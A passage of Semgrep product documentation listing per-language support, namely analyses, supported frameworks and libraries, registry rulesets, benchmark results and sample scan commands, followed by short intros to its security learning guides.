Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
**Malicious dependency detection**
Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
**SBOM generation**
Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
## Go support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following Go rule sets:
* [`p/default`](https://semgrep.dev/p/default)
* [`p/golang`](https://semgrep.dev/p/golang)
* [`p/gosec`](https://semgrep.dev/p/gosec)
Sample usage:
```bash theme={null}
semgrep scan --config p/golang
```
# Java support
Source: https://docs.semgrep.dev/languages/java
**TIP**
Semgrep's Java coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Semgrep Code analyses
* [Language-specific analysis](/semgrep-code/java)
* Interfile analysis (cross-file)
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#java-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
Some examples of rules include:
* [CWE-327: Use of a broken or risky cryptographic algorithm. Don't use the `none` algorithm](https://semgrep.dev/playground/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg?editorMode=advanced)
* [CWE-78: OS command injection. Sanitize your variables before using them as input to a `java.lang.Runtime` call](https://semgrep.dev/playground/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call?editorMode=advanced)
## Java support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
### Supported package managers
Semgrep supports the following Java package managers:
* Gradle
* Maven
### Analyses and features
The following analyses and features are available for Java:
| | |
| :-------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
**NO NEED FOR LOCKFILES**
Java projects can be scanned **without** the need for lockfiles. See [Dynamic Dependency Resolution (beta)](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta). On Managed Scans, Dynamic Dependency Resolution supports **Java 11 and later** (JDKs 11, 17, and 21). Java versions below 11 are not supported in that environment. See [Java version support](/semgrep-supply-chain/set-up-and-configure#java-version-support).
## Java support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following Java rulesets:
* [`p/default`](https://semgrep.dev/p/default)
* [`p/java`](https://semgrep.dev/p/java)
* [`p/findsecbugs`](https://semgrep.dev/p/findsecbugs)
Sample usage:
```bash theme={null}
semgrep scan --config p/java
```
# JavaScript support
Source: https://docs.semgrep.dev/languages/javascript
**TIP**
Semgrep's JavaScript coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## JavaScript support in Semgrep Code
Semgrep Code is a static application security testing (SAST) tool that detects security vulnerabilities in your first-party code.
### Analyses and frameworks
* Framework-specific control flow analysis
* Interfile analysis (cross-file)
* Interprocedural analysis (cross-function)
- All analyses performed by [Semgrep Community Edition (CE)](#javascript-support-in-semgrep-ce)
### Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
In addition to rules, the Semgrep engine itself can analyze code and implicit dataflows in the context of the following supported frameworks:
| Supported frameworks | Type of framework |
| :------------------- | :---------------- |
| Express | Web framework |
| Koa | Web framework |
| Hapi | Web framework |
| NestJS | Web framework |
| NextJS | Web framework |
| Supported libraries | Type of library |
| :------------------------------ | :--------------------------------------- |
| `axios` | Network library |
| `nodemail` | Network library |
| `node-fetch` | Network library |
| `needle` | Network library |
| `http` | Network library |
| `https` | Network library |
| `net` | Network library |
| `http2` | Network library |
| `got` | Network library |
| `request` | Network library |
| `marked` | Markdown library |
| `dot` | Template engine |
| `child-process` | OS interaction library |
| `nestjs` | Web framework |
| `express` | Web framework |
| `koa` | Web framework |
| `hapi` | Web framework |
| `sqlite` | Database library |
| `sqlite3` | Database library |
| `typeorm` | Database library |
| `mongoose` | Database library |
| `mongodb` | Database library |
| `knex` | Database library |
| `mikro-orm` | Database library |
| `@mikro-orm/core` | Database library |
| `@mikro-orm/better-sqlite` | Database library |
| `@mikro-orm/entity-generator` | Database library |
| `@mikro-orm/knex` | Database library |
| `@mikro-orm/libsql` | Database library |
| `@mikro-orm/mariadb` | Database library |
| `@mikro-orm/migrations-mongodb` | Database library |
| `@mikro-orm/migrations` | Database library |
| `@mikro-orm/mongodb` | Database library |
| `@mikro-orm/mssql` | Database library |
| `@mikro-orm/mysql` | Database library |
| `@mikro-orm/postgresql` | Database library |
| `@mikro-orm/reflection` | Database library |
| `@mikro-orm/seeder` | Database library |
| `@mikro-orm/sqlite` | Database library |
| `pg` | Database library |
| `pg-native` | Database library |
| `pg-pool` | Database library |
| `mysql` | Database library |
| `mysql2` | Database library |
| `sequelize` | Database library |
| `libxml` | XML parsing library |
| `xpath` | XML parsing library |
| `puppeteer` | Library with code execution capabilities |
| `vm2` | Library with code execution capabilities |
| `vm` | Library with code execution capabilities |
| `rimraf` | File System Library |
| `papaparse` | File system library |
| `fs-extra` | File system library |
| `fs` | File system library |
| `sharp` | File system library |
| `path` | File system library |
| `webcrypto` | Cryptographic library |
| `crypto` | Cryptographic library |
| `http-body` | Express middleware |
| `cors` | Express middleware |
| `express-session` | Express middleware |
| `helmet` | Express middleware |
| `@koa/cors` | Koa middleware |
| `lodash` | Utility library |
| `validator` | String validation library |
| `escape-string-regexp` | String sanitization library |
| `date-fns` | Date manipulation library |
| `moment` | Date manipulation library |
| `luxon` | Date manipulation library |
| `dayjsfns` | Date manipulation library |
| `mongo-sanitize` | String sanitization library |
| `express-mongo-sanitize` | String sanitization library |
#### Benchmark results exclusive of [AI](/semgrep-multimodal/overview) processing
Semgrep's benchmarking process involves scanning open source repositories, triaging the findings, and making iterative rule updates. This process was developed and is used internally by the Semgrep security research team to monitor and improve rule performance.
Results as of **February 25, 2025**:
| Benchmark | Value |
| :----------------------------------------------------------------------- | :---------- |
| True positive rate (before AI processing) for latest `p/default` ruleset | 63% |
| Lines of code scanned | \~8 million |
| Repositories scanned | 153 |
| Findings triaged to date | \~600 |
## JavaScript support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
### Supported package managers
Semgrep supports the following JavaScript package managers:
* npm
* Yarn
* pnpm
### Analyses and features
The following analyses and features are available for JavaScript:
**Reachability analysis**
Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
**License detection**
Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
**Malicious dependency detection**
Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
**SBOM generation**
Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
## JavaScript support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following JavaScript rulesets:
* [`p/javascript`](https://semgrep.dev/p/javascript)
* [`p/eslint`](https://semgrep.dev/p/eslint)
* [`p/expressjs`](https://semgrep.dev/p/expressjs)
* [`p/hapi`](https://semgrep.dev/p/hapi)
* [`p/headless-browser`](https://semgrep.dev/p/headless-browser)
* [`p/koa`](https://semgrep.dev/p/koa)
* [`p/nextjs`](https://semgrep.dev/p/nextjs)
* [`p/nestjs`](https://semgrep.dev/p/nestjs)
* [`p/nodejs`](https://semgrep.dev/p/nodejs)
* [`p/typescript`](https://semgrep.dev/p/typescript)
Sample usage:
```bash theme={null}
semgrep scan --config p/javascript
```
# Kotlin support
Source: https://docs.semgrep.dev/languages/kotlin
**TIP**
Semgrep's Kotlin coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Semgrep Code analyses
* Interfile analysis (cross-file)
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#kotlin-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
The following is an example of a Kotlin rule:
* [CWE-327: Use of a broken or risky cryptographic algorithm. NullCipher does not encrypt anything; avoid](https://semgrep.dev/playground/r/kotlin.lang.security.no-null-cipher.no-null-cipher?editorMode=advanced)
Many, but not all Kotlin rules require a Semgrep account. Sign in to Semgrep AppSec Platform to view this rule:
* [CWE-776: XML entity expansion. Securely configure your XML parser](https://semgrep.dev/orgs/-/editor/r/kotlin.xxe.xmlreader-xxe.xmlreader-xxe?editorMode=advanced)
## Kotlin support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
**NO NEED FOR LOCKFILES**
Kotlin projects can be scanned **without** the need for lockfiles. See [Dynamic Dependency Resolution (beta)](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta).
### Supported package managers
Semgrep supports the following Kotlin package managers:
* Gradle
* Maven
### Analyses and features
The following analyses and features are available for Kotlin:
| | |
| :-------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
## Kotlin support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following Kotlin rule sets (many rules require a Semgrep account):
* [`p/default`](https://semgrep.dev/p/default)
* [`p/kotlin`](https://semgrep.dev/p/kotlin)
Sample usage:
```bash theme={null}
semgrep scan --config p/kotlin
```
# Python support
Source: https://docs.semgrep.dev/languages/python
**TIP**
Semgrep's Python coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Python support in Semgrep Code
Semgrep Code is a static application security testing (SAST) tool that detects security vulnerabilities in your first-party code.
### Analyses and frameworks
* Framework-specific control flow analysis
* Interfile analysis (cross-file)
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#python-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
In addition to rules, the Semgrep engine itself can analyze code and implicit dataflows in the context of the following supported frameworks:
| Framework / library | Category |
| :------------------ | :------------ |
| Django | Web framework |
| Flask | Web framework |
| FastAPI | Web framework |
| No | Library | Category |
| --: | :------------------------- | :--------------------------------------- |
| 0 | bcrypt | Cryptographic Library |
| 1 | cryptography | Cryptographic Library |
| 2 | passlib | Cryptographic Library |
| 3 | pycrypto | Cryptographic Library |
| 4 | pycryptodome | Cryptographic Library |
| 5 | pycryptodomex | Cryptographic Library |
| 6 | rsa | Cryptographic Library |
| 7 | aiomysql | Database Library |
| 8 | aiopg | Database Library |
| 9 | aiosqlite | Database Library |
| 10 | django | Database Library |
| 11 | djangoorm | Database Library |
| 12 | mysql-connector | Database Library |
| 13 | mysqldb | Database Library |
| 14 | peewee | Database Library |
| 15 | pep249 | Database Library |
| 16 | ponyorm | Database Library |
| 17 | psycopg2 | Database Library |
| 18 | pymongo | Database Library |
| 19 | pymssql | Database Library |
| 20 | pymysql | Database Library |
| 21 | pyodbc | Database Library |
| 22 | sqlalchemy | Database Library |
| 23 | sqlobject | Database Library |
| 24 | dill | Deserialization Library |
| 25 | joblib | Deserialization Library |
| 26 | jsonpickle | Deserialization Library |
| 27 | lang | Deserialization Library |
| 28 | numpy | Deserialization Library |
| 29 | pandas | Deserialization Library |
| 30 | pyyaml | Deserialization Library |
| 31 | ruamel | Deserialization Library |
| 32 | ruamel.yaml | Deserialization Library |
| 33 | torch | Deserialization Library |
| 34 | aiofile | File System Library |
| 35 | django | File System Library |
| 36 | fileinput | File System Library |
| 37 | fs | File System Library |
| 38 | io | File System Library |
| 39 | linecache | File System Library |
| 40 | openpyxl | File System Library |
| 41 | os | File System Library |
| 42 | pickleshare | File System Library |
| 43 | pillow | File System Library |
| 44 | shelve | File System Library |
| 45 | shutil | File System Library |
| 46 | stdlib | File System Library |
| 47 | stdlib2 | File System Library |
| 48 | stdlib3 | File System Library |
| 49 | tempfile | File System Library |
| 50 | toml | File System Library |
| 51 | ldap3 | LDAP Library |
| 52 | stdlib | Library With Code Execution Capabilities |
| 53 | stdlib2 | Library With Code Execution Capabilities |
| 54 | stdlib3 | Library With Code Execution Capabilities |
| 55 | aiohttp | Network Library |
| 56 | boto3 | Network Library |
| 57 | botocore | Network Library |
| 58 | httplib2 | Network Library |
| 59 | httpx | Network Library |
| 60 | paramiko | Network Library |
| 61 | pycurl | Network Library |
| 62 | requests | Network Library |
| 63 | urllib3 | Network Library |
| 64 | commands | OS Interaction Library |
| 65 | dotenv | OS Interaction Library |
| 66 | os | OS Interaction Library |
| 67 | paramiko | OS Interaction Library |
| 68 | popen2 | OS Interaction Library |
| 69 | stdlib | OS Interaction Library |
| 70 | stdlib2 | OS Interaction Library |
| 71 | stdlib3 | OS Interaction Library |
| 72 | subprocess | OS Interaction Library |
| 73 | libxml2 | Regex Library |
| 74 | re | Regex Library |
| 75 | regex | Regex Library |
| 76 | stdlib | Regex Library |
| 77 | stdlib2 | Regex Library |
| 78 | stdlib3 | Regex Library |
| 79 | aws-lambda | Serverless Framework |
| 80 | aiohttp | Web Framework |
| 81 | cherrypy | Web Framework |
| 82 | django | Web Framework |
| 83 | django-crispy-forms | Web Framework |
| 84 | django\_allauth | Web Framework |
| 85 | django\_channels | Web Framework |
| 86 | django\_rest\_frameworkapi | Web Framework |
| 87 | fastapi | Web Framework |
| 88 | flask | Web Framework |
| 89 | flask-jwt-extended | Web Framework |
| 90 | flask-login | Web Framework |
| 91 | flask-session | Web Framework |
| 92 | flask-talisman | Web Framework |
| 93 | flask-wtf | Web Framework |
| 94 | lang | Web Framework |
| 95 | pyramid | Web Framework |
| 96 | starlette | Web Framework |
| 97 | wtforms | Web Framework |
| 98 | libxml2 | XML Parsing Library |
| 99 | lxml | XML Parsing Library |
| 100 | sax | XML Parsing Library |
| 101 | stdlib | XML Parsing Library |
| 102 | stdlib2 | XML Parsing Library |
| 103 | stdlib3 | XML Parsing Library |
| 104 | xml | XML Parsing Library |
| 105 | xml.dom | XML Parsing Library |
| 106 | xml.dom.minidom | XML Parsing Library |
| 107 | xml.dom.pulldom | XML Parsing Library |
| 108 | xml.etree | XML Parsing Library |
| 109 | xml.sax | XML Parsing Library |
### Benchmark results exclusive of [AI](/semgrep-multimodal/overview) processing
Semgrep's benchmarking process involves scanning open source repositories, triaging the findings, and making iterative rule updates. This process was developed and is used internally by the Semgrep security research team to monitor and improve rule performance.
Results as of **September 9, 2024**:
| Benchmark true positive rate (before AI processing) for latest ruleset | **84%** |
| :--------------------------------------------------------------------- | :--------------- |
| Lines of code scanned | **\~20 million** |
| Repositories scanned | **192** |
| Findings triaged to date | **\~1000** |
## Python support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
**NO NEED FOR LOCKFILES**
Some Python projects can be scanned **without** the need for lockfiles. See [Dynamic Dependency Resolution (beta)](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta).
### Supported package managers
Semgrep supports the following Python package managers:
* pip
* pip-tools
* Pipenv
* Poetry
* uv
### Analyses and features
The following analyses and features are available for Python:
**Reachability analysis**
Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
**License detection**
Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
**Malicious dependency detection**
Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
**SBOM generation**
Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
## Python support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following Python rulesets:
* [`p/default`](https://semgrep.dev/p/default)
* [`p/python`](https://semgrep.dev/p/python)
* [`p/trailofbits`](https://semgrep.dev/p/trailofbits)
* [`p/xss`](https://semgrep.dev/p/trailofbits)
Sample usage:
```bash theme={null}
semgrep scan --config p/python
```
# Ruby support
Source: https://docs.semgrep.dev/languages/ruby
**TIP**
Semgrep's Ruby coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Semgrep Code analyses
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#ruby-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
Some examples of rules include:
* [CWE-502: Deserialization of untrusted data. Using `load` and `object_load` can cause remote code execution; use JSON securely instead](https://semgrep.dev/playground/r/ruby.lang.security.bad-deserialization.bad-deserialization?editorMode=advanced)
* [CWE-185: Incorrect regular expression. Incorrectly-bounded regex should be terminated correctly](https://semgrep.dev/playground/r/ruby.rails.security.brakeman.check-validation-regex.check-validation-regex?editorMode=advanced)
## Ruby support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
### Supported package managers
Semgrep supports the following Ruby package manager:
* RubyGems
### Analyses and features
The following analyses and features are available for Ruby:
**Reachability analysis**
Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
**License detection**
Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
**Malicious dependency detection**
Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
**SBOM generation**
Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
## Ruby support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following Ruby rulesets:
* [`p/default`](https://semgrep.dev/p/default)
* [`p/ruby`](https://semgrep.dev/p/ruby)
* [`p/brakeman`](https://semgrep.dev/p/brakeman)
Sample usage:
```bash theme={null}
semgrep scan --config p/ruby
```
# Scala support
Source: https://docs.semgrep.dev/languages/scala
**TIP**
Semgrep's Scala coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Semgrep Code analyses
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#scala-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
Some examples of rules include:
* [CWE-89: SQL injection. Avoid using unsanitized user input when generating SQL strings](https://semgrep.dev/playground/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli?editorMode=advanced)
* [CWE-78: OS command injection. Sanitize variables that are used in external processes.](https://semgrep.dev/playground/r/scala.lang.security.audit.dangerous-seq-run.dangerous-seq-run)
## Scala support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
### Supported package managers
Semgrep supports the following Scala package manager:
* Maven
### Analyses and features
The following analyses and features are available for Scala:
| | |
| :-------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
## Scala support in Semgrep CE
Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
### Analyses
* Single-file, cross-function constant propagation
* Single-function taint analysis
* Semantic analysis
### Coverage
**TIP**
* Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
The Semgrep Registry provides the following Scala rule sets:
tk
* [`p/default`](https://semgrep.dev/p/default)
* [`p/scala`](https://semgrep.dev/p/scala)
Sample usage:
```bash theme={null}
semgrep scan --config p/scala
```
# Swift support
Source: https://docs.semgrep.dev/languages/swift
**TIP**
Semgrep's Swift coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
## Semgrep Code analyses
* Interprocedural analysis (cross-function)
* All analyses performed by [Semgrep Community Edition (CE)](#swift-support-in-semgrep-ce)
## Coverage
Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
Some examples of rules include:
* [CWE-477: Use of obsolete function. `ptrace` API is forbidden from iOS applications](https://semgrep.dev/orgs/-/editor/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis?editorMode=advanced)
* [CWE-327: Use of a broken or risky cryptographic algorithm. Avoid MD2](https://semgrep.dev/orgs/-/editor/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2?editorMode=advanced)
To view these rules, sign in to Semgrep AppSec Platform.
## Swift support in Semgrep Supply Chain
Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
### Supported package managers
Semgrep supports the following Swift package manager:
* SwiftPM
### Analyses and features
The following analyses and features are available for Swift:
| | |
| :-------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
# Semgrep Learning Guides
Source: https://docs.semgrep.dev/learn
This section is all about learning the concepts behind **Application Security** and **Secure Coding** with guided tutorials. Whether a seasoned security engineer looking for resources to share with your teams, a developer looking to improve code quality, or just getting started in cybersecurity, we hope you find these guides helpful.
Learn the fundamentals for how Static Analysis Security Testing (SAST) and Software Composition Analysis (SCA) work and why it matters.
Deep dive into common security risks with code samples for what issues like SQL injection, Cross-Site Scripting, Open Redirects, and more look like.
Learn how to write code that's secure by design for popular programming languages with cheat sheets to use as a reference.
Learn core security concepts by viewing video courses led by experts in the field.
# Security Foundations
Source: https://docs.semgrep.dev/learn/security-foundations/overview
This section includes conceptual guides on application security essentials. These fundamental concepts can help strengthen your organization's security posture and can be a helpful reference when educating teams on security principles.
## Featured Articles
* [Static Application Security Testing (SAST)](/learn/security-foundations/sast/overview): Identify vulnerabilities in applications before deployment with tools designed to analyze source code without executing it.
* [Supply Chain Security (SCA)](/learn/security-foundations/supply-chain-security): Understand vulnerable dependencies that your source code relies upon.
